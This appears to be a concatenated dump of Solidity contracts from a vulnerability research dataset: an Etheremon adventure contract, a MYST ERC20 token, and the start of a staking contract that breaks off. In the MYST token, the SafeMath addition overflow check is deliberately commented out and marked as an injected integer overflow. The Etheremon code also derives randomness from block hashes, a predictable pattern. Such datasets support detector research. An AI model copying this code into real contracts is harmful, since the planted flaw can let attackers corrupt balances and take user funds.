interface EtheremonMonsterNFT {
function mintMonster(uint32 _classId, address _trainer, string _name) external returns(uint);
}
contract EtheremonAdventureData {
function addLandRevenue(uint _siteId, uint _emontAmount, uint _etherAmount) external;
function addTokenClaim(uint _tokenId, uint _emontAmount, uint _etherAmount) external;
function addExploreData(address _sender, uint _typeId, uint _monsterId, uint _siteId, uint _startAt, uint _emontAmount, uint _etherAmount) external returns(uint);
function removePendingExplore(uint _exploreId, uint _itemSeed) external;
// public function
function getLandRevenue(uint _classId) constant public returns(uint _emontAmount, uint _etherAmount);
function getTokenClaim(uint _tokenId) constant public returns(uint _emontAmount, uint _etherAmount);
function getExploreData(uint _exploreId) constant public returns(address _sender, uint _typeId, uint _monsterId, uint _siteId, uint _itemSeed, uint _startAt);
function getPendingExplore(address _player) constant public returns(uint);
function getPendingExploreData(address _player) constant public returns(uint _exploreId, uint _typeId, uint _monsterId, uint _siteId, uint _itemSeed, uint _startAt);
}
contract EtheremonAdventure is EtheremonEnum, BasicAccessControl {
using AddressUtils for address;
uint8 constant public STAT_COUNT = 6;
uint8 constant public STAT_MAX = 32;
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
struct ExploreData {
address sender;
uint monsterType;
uint monsterId;
uint siteId;
uint itemSeed;
uint startAt; // blocknumber
}
struct ExploreReward {
uint monsterClassId;
uint itemClassId;
uint value;
uint temp;
}
address public dataContract;
address public monsterNFT;
address public adventureDataContract;
address public adventureSettingContract;
address public adventureItemContract;
address public tokenContract;
address public kittiesContract;
uint public exploreETHFee = 0.01 ether;
uint public exploreEMONTFee = 1500000000;
uint public exploreFastenETHFee = 0.005 ether;
uint public exploreFastenEMONTFee = 750000000;
uint public minBlockGap = 240;
uint public totalSite = 54;
uint seed = 0;
event SendExplore(address indexed from, uint monsterType, uint monsterId, uint exploreId);
event ClaimExplore(address indexed from, uint exploreId, uint itemType, uint itemClass, uint itemId);
modifier requireDataContract {
require(dataContract != address(0));
_;
}
modifier requireAdventureDataContract {
require(adventureDataContract != address(0));
_;
}
modifier requireAdventureSettingContract {
require(adventureSettingContract != address(0));
_;
}
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier requireKittiesContract {
require(kittiesContract != address(0));
_;
}
function setContract(address _dataContract, address _monsterNFT, address _adventureDataContract, address _adventureSettingContract, address _adventureItemContract, address _tokenContract, address _kittiesContract) onlyOwner public {
dataContract = _dataContract;
monsterNFT = _monsterNFT;
adventureDataContract = _adventureDataContract;
adventureSettingContract = _adventureSettingContract;
adventureItemContract = _adventureItemContract;
tokenContract = _tokenContract;
kittiesContract = _kittiesContract;
}
function setFeeConfig(uint _exploreETHFee, uint _exploreEMONTFee, uint _exploreFastenETHFee, uint _exploreFastenEMONTFee) onlyOwner public {
exploreETHFee = _exploreETHFee;
exploreEMONTFee = _exploreEMONTFee;
exploreFastenEMONTFee = _exploreFastenEMONTFee;
exploreFastenETHFee = _exploreFastenETHFee;
}
function setConfig(uint _minBlockGap, uint _totalSite) onlyOwner public {
minBlockGap = _minBlockGap;
totalSite = _totalSite;
}
function withdrawEther(address _sendTo, uint _amount) onlyOwner public {
// it is used in case we need to upgrade the smartcontract
if (_amount > address(this).balance) {
revert();
}
_sendTo.transfer(_amount);
}
function withdrawToken(address _sendTo, uint _amount) onlyOwner requireTokenContract external {
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
function adventureByToken(address _player, uint _token, uint _param1, uint _param2, uint64 _param3, uint64 _param4) isActive onlyModerators external {
// param1 = 1 -> explore, param1 = 2 -> claim
if (_param1 == 1) {
_exploreUsingEmont(_player, _param2, _param3, _token);
} else {
_claimExploreItemUsingEMont(_param2, _token);
}
}
function _exploreUsingEmont(address _sender, uint _monsterType, uint _monsterId, uint _token) internal {
if (_token < exploreEMONTFee) revert();
seed = getRandom(_sender, block.number - 1, seed, _monsterId);
uint siteId = getTargetSite(_sender, _monsterType, _monsterId, seed);
if (siteId == 0) revert();
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
uint exploreId = adventureData.addExploreData(_sender, _monsterType, _monsterId, siteId, block.number, _token, 0);
SendExplore(_sender, _monsterType, _monsterId, exploreId);
}
function _claimExploreItemUsingEMont(uint _exploreId, uint _token) internal {
if (_token < exploreFastenEMONTFee) revert();
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
ExploreData memory exploreData;
(exploreData.sender, exploreData.monsterType, exploreData.monsterId, exploreData.siteId, exploreData.itemSeed, exploreData.startAt) = adventureData.getExploreData(_exploreId);
if (exploreData.itemSeed != 0)
revert();
// min 2 blocks
if (block.number < exploreData.startAt + 2)
revert();
exploreData.itemSeed = getRandom(exploreData.sender, exploreData.startAt + 1, exploreData.monsterId, _exploreId) % 100000;
ExploreReward memory reward;
(reward.monsterClassId, reward.itemClassId, reward.value) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(exploreData.siteId, exploreData.itemSeed);
adventureData.removePendingExplore(_exploreId, exploreData.itemSeed);
if (reward.monsterClassId > 0) {
EtheremonMonsterNFT monsterContract = EtheremonMonsterNFT(monsterNFT);
reward.temp = monsterContract.mintMonster(uint32(reward.monsterClassId), exploreData.sender, "..name me..");
ClaimExplore(exploreData.sender, _exploreId, 0, reward.monsterClassId, reward.temp);
} else if (reward.itemClassId > 0) {
// give new adventure item
EtheremonAdventureItem item = EtheremonAdventureItem(adventureItemContract);
reward.temp = item.spawnItem(reward.itemClassId, reward.value, exploreData.sender);
ClaimExplore(exploreData.sender, _exploreId, 1, reward.itemClassId, reward.temp);
} else if (reward.value > 0) {
// send token contract
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(exploreData.sender, reward.value);
ClaimExplore(exploreData.sender, _exploreId, 2, 0, reward.value);
} else {
revert();
}
}
// public
function getRandom(address _player, uint _block, uint _seed, uint _count) constant public returns(uint) {
return uint(keccak256(block.blockhash(_block), _player, _seed, _count));
}
function getTargetSite(address _sender, uint _monsterType, uint _monsterId, uint _seed) constant public returns(uint) {
if (_monsterType == 0) {
// Etheremon
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = EtheremonDataBase(dataContract).getMonsterObj(uint64(_monsterId));
if (obj.trainer != _sender) revert();
return EtheremonAdventureSetting(adventureSettingContract).getSiteId(obj.classId, _seed);
} else if (_monsterType == 1) {
// Cryptokitties
if (_sender != ERC721Interface(kittiesContract).ownerOf(_monsterId)) revert();
return EtheremonAdventureSetting(adventureSettingContract).getSiteId(_seed % totalSite, _seed);
}
return 0;
}
function exploreUsingETH(uint _monsterType, uint _monsterId) isActive public payable {
// not allow contract to make txn
if (msg.sender.isContract()) revert();
if (msg.value < exploreETHFee) revert();
seed = getRandom(msg.sender, block.number - 1, seed, _monsterId);
uint siteId = getTargetSite(msg.sender, _monsterType, _monsterId, seed);
if (siteId == 0) revert();
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
uint exploreId = adventureData.addExploreData(msg.sender, _monsterType, _monsterId, siteId, block.number, 0, msg.value);
SendExplore(msg.sender, _monsterType, _monsterId, exploreId);
}
function claimExploreItem(uint _exploreId) isActive public payable {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
ExploreData memory exploreData;
(exploreData.sender, exploreData.monsterType, exploreData.monsterId, exploreData.siteId, exploreData.itemSeed, exploreData.startAt) = adventureData.getExploreData(_exploreId);
if (exploreData.itemSeed != 0)
revert();
// min 2 blocks
if (block.number < exploreData.startAt + 2)
revert();
exploreData.itemSeed = getRandom(exploreData.sender, exploreData.startAt + 1, exploreData.monsterId, _exploreId) % 100000;
if (msg.value < exploreFastenETHFee) {
if (block.number < exploreData.startAt + minBlockGap + exploreData.startAt % minBlockGap)
revert();
}
ExploreReward memory reward;
(reward.monsterClassId, reward.itemClassId, reward.value) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(exploreData.siteId, exploreData.itemSeed);
adventureData.removePendingExplore(_exploreId, exploreData.itemSeed);
if (reward.monsterClassId > 0) {
EtheremonMonsterNFT monsterContract = EtheremonMonsterNFT(monsterNFT);
reward.temp = monsterContract.mintMonster(uint32(reward.monsterClassId), exploreData.sender, "..name me..");
ClaimExplore(exploreData.sender, _exploreId, 0, reward.monsterClassId, reward.temp);
} else if (reward.itemClassId > 0) {
// give new adventure item
EtheremonAdventureItem item = EtheremonAdventureItem(adventureItemContract);
reward.temp = item.spawnItem(reward.itemClassId, reward.value, exploreData.sender);
ClaimExplore(exploreData.sender, _exploreId, 1, reward.itemClassId, reward.temp);
} else if (reward.value > 0) {
// send token contract
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(exploreData.sender, reward.value);
ClaimExplore(exploreData.sender, _exploreId, 2, 0, reward.value);
} else {
revert();
}
}
// public
function predictExploreReward(uint _exploreId) constant external returns(uint itemSeed, uint rewardMonsterClass, uint rewardItemCLass, uint rewardValue) {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
ExploreData memory exploreData;
(exploreData.sender, exploreData.monsterType, exploreData.monsterId, exploreData.siteId, exploreData.itemSeed, exploreData.startAt) = adventureData.getExploreData(_exploreId);
if (exploreData.itemSeed != 0) {
itemSeed = exploreData.itemSeed;
} else {
if (block.number < exploreData.startAt + 2)
return (0, 0, 0, 0);
itemSeed = getRandom(exploreData.sender, exploreData.startAt + 1, exploreData.monsterId, _exploreId) % 100000;
}
(rewardMonsterClass, rewardItemCLass, rewardValue) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(exploreData.siteId, itemSeed);
}
function getExploreItem(uint _exploreId) constant external returns(address trainer, uint monsterType, uint monsterId, uint siteId, uint startBlock, uint rewardMonsterClass, uint rewardItemClass, uint rewardValue) {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
(trainer, monsterType, monsterId, siteId, rewardMonsterClass, startBlock) = adventureData.getExploreData(_exploreId);
if (rewardMonsterClass > 0) {
(rewardMonsterClass, rewardItemClass, rewardValue) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(siteId, rewardMonsterClass);
}
}
function getPendingExploreItem(address _trainer) constant external returns(uint exploreId, uint monsterType, uint monsterId, uint siteId, uint startBlock, uint endBlock) {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
(exploreId, monsterType, monsterId, siteId, endBlock, startBlock) = adventureData.getPendingExploreData(_trainer);
if (exploreId > 0) {
endBlock = startBlock + minBlockGap + startBlock % minBlockGap;
}
}
}
| 19,968 | 13,468 |
3bae899d0db53e1e0c3ba6a737443689bf2c4cee89c6ac466fa2b79999595158
| 26,892 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0x4cf89ca06ad997bc732dc876ed2a7f26a9e7f361_integerOverflow.sol
| 4,322 | 17,097 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract IUpgradeAgent {
function isUpgradeAgent() external virtual pure returns (bool);
function upgradeFrom(address _from, uint256 _value) public virtual;
function originalSupply() public virtual view returns (uint256);
function originalToken() public virtual view returns (address);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract MystToken is Context, IERC20, IUpgradeAgent {
using SafeMath for uint256;
using Address for address;
address immutable _originalToken; // Address of MYSTv1 token
uint256 immutable _originalSupply; // Token supply of MYSTv1 token
// The original MYST token and the new MYST token have a decimal difference of 10.
// As such, minted values as well as the total supply comparisons need to offset all values
// by 10 zeros to properly compare them.
uint256 constant private DECIMAL_OFFSET = 1e10;
bool constant public override isUpgradeAgent = true; // Upgradeability interface marker
address private _upgradeMaster; // He can enable future token migration
IUpgradeAgent private _upgradeAgent; // The next contract where the tokens will be migrated
uint256 private _totalUpgraded; // How many tokens we have upgraded by now
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string constant public name = "Mysterium";
string constant public symbol = "MYST";
uint8 constant public decimals = 18;
// EIP712
bytes32 public immutable DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
// The nonces mapping is given for replay protection in permit function.
mapping(address => uint) public nonces;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
event Minted(address indexed to, uint256 amount);
event Burned(address indexed from, uint256 amount);
// State of token upgrade
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading, Completed}
// Token upgrade events
event Upgrade(address indexed from, address agent, uint256 _value);
event UpgradeAgentSet(address agent);
event UpgradeMasterSet(address master);
constructor(address originalToken) public {
// upgradability settings
_originalToken = originalToken;
_originalSupply = IERC20(originalToken).totalSupply();
// set upgrade master
_upgradeMaster = _msgSender();
// construct EIP712 domain separator
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
_chainID(),
address(this)));
}
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
function balanceOf(address tokenHolder) public view override(IERC20) returns (uint256) {
return _balances[tokenHolder];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_move(_msgSender(), recipient, amount);
return true;
}
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function allowance(address holder, address spender) public view override returns (uint256) {
return _allowances[holder][spender];
}
function approve(address spender, uint256 value) public override returns (bool) {
_approve(_msgSender(), spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function permit(address holder, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'MYST: Permit expired');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, holder, spender, value, nonces[holder]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == holder, 'MYST: invalid signature');
_approve(holder, spender, value);
}
function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) {
// require(recipient != address(0), "MYST: transfer to the zero address");
require(holder != address(0), "MYST: transfer from the zero address");
address spender = _msgSender();
if (holder != spender && _allowances[holder][spender] != uint256(-1)) {
_approve(holder, spender, _allowances[holder][spender].sub(amount, "MYST: transfer amount exceeds allowance"));
}
_move(holder, recipient, amount);
return true;
}
function _mint(address holder, uint256 amount) internal {
require(holder != address(0), "MYST: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[holder] = _balances[holder].add(amount);
emit Minted(holder, amount);
emit Transfer(address(0), holder, amount);
}
function _burn(address from, uint256 amount) internal {
require(from != address(0), "MYST: burn from the zero address");
// Update state variables
_balances[from] = _balances[from].sub(amount, "MYST: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(from, address(0), amount);
emit Burned(from, amount);
}
function _move(address from, address to, uint256 amount) private {
// Sending to zero address is equal burning
if (to == address(0)) {
_burn(from, amount);
return;
}
_balances[from] = _balances[from].sub(amount, "MYST: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
require(holder != address(0), "MYST: approve from the zero address");
require(spender != address(0), "MYST: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
// -------------- UPGRADE FROM v1 TOKEN --------------
function originalToken() public view override returns (address) {
return _originalToken;
}
function originalSupply() public view override returns (uint256) {
return _originalSupply;
}
function upgradeFrom(address _account, uint256 _value) public override {
require(msg.sender == originalToken(), "only original token can call upgradeFrom");
// Value is multiplied by 0e10 as old token had decimals = 8?
_mint(_account, _value.mul(DECIMAL_OFFSET));
require(totalSupply() <= originalSupply().mul(DECIMAL_OFFSET), "can not mint more tokens than in original contract");
}
// -------------- PREPARE FOR FUTURE UPGRADABILITY --------------
function upgradeMaster() public view returns (address) {
return _upgradeMaster;
}
function upgradeAgent() public view returns (address) {
return address(_upgradeAgent);
}
function totalUpgraded() public view returns (uint256) {
return _totalUpgraded;
}
function upgrade(uint256 amount) public {
UpgradeState state = getUpgradeState();
require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading, "MYST: token is not in upgrading state");
require(amount != 0, "MYST: upgradable amount should be more than 0");
address holder = _msgSender();
// Burn tokens to be upgraded
_burn(holder, amount);
// Remember how many tokens we have upgraded
_totalUpgraded = _totalUpgraded.add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
// Upgrade agent upgrades/reissues tokens
_upgradeAgent.upgradeFrom(holder, amount);
emit Upgrade(holder, upgradeAgent(), amount);
}
function setUpgradeMaster(address newUpgradeMaster) external {
require(newUpgradeMaster != address(0x0), "MYST: upgrade master can't be zero address");
require(_msgSender() == _upgradeMaster, "MYST: only upgrade master can set new one");
_upgradeMaster = newUpgradeMaster;
emit UpgradeMasterSet(upgradeMaster());
}
function setUpgradeAgent(address agent) external {
require(_msgSender()== _upgradeMaster, "MYST: only a master can designate the next agent");
require(agent != address(0x0), "MYST: upgrade agent can't be zero address");
require(getUpgradeState() != UpgradeState.Upgrading, "MYST: upgrade has already begun");
_upgradeAgent = IUpgradeAgent(agent);
require(_upgradeAgent.isUpgradeAgent(), "MYST: agent should implement IUpgradeAgent interface");
// Make sure that token supplies match in source and target
require(_upgradeAgent.originalSupply() == totalSupply(), "MYST: upgrade agent should know token's total supply");
emit UpgradeAgentSet(upgradeAgent());
}
function getUpgradeState() public view returns(UpgradeState) {
if(address(_upgradeAgent) == address(0x00)) return UpgradeState.WaitingForAgent;
else if(_totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else if(totalSupply() == 0) return UpgradeState.Completed;
else return UpgradeState.Upgrading;
}
// -------------- FUNDS RECOVERY --------------
address internal _fundsDestination;
event FundsRecoveryDestinationChanged(address indexed previousDestination, address indexed newDestination);
function setFundsDestination(address newDestination) public {
require(_msgSender()== _upgradeMaster, "MYST: only a master can set funds destination");
require(newDestination != address(0), "MYST: funds destination can't be zero addreess");
_fundsDestination = newDestination;
emit FundsRecoveryDestinationChanged(_fundsDestination, newDestination);
}
function getFundsDestination() public view returns (address) {
return _fundsDestination;
}
function claimTokens(address token) public {
require(_fundsDestination != address(0), "MYST: funds destination can't be zero addreess");
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(_fundsDestination, amount);
}
// -------------- HELPERS --------------
function _chainID() private pure returns (uint256) {
uint256 chainID;
assembly {
chainID := chainid()
}
return chainID;
}
}
| 280,302 | 13,469 |
df107b9f2874f59c5d5bbfd5ee1ce44dd17ffb0f8e09b1dbf1b7bd8b26fce6bc
| 27,363 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e6/e6f483a2571da88450ee883d8ba89163ecf07ba8_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
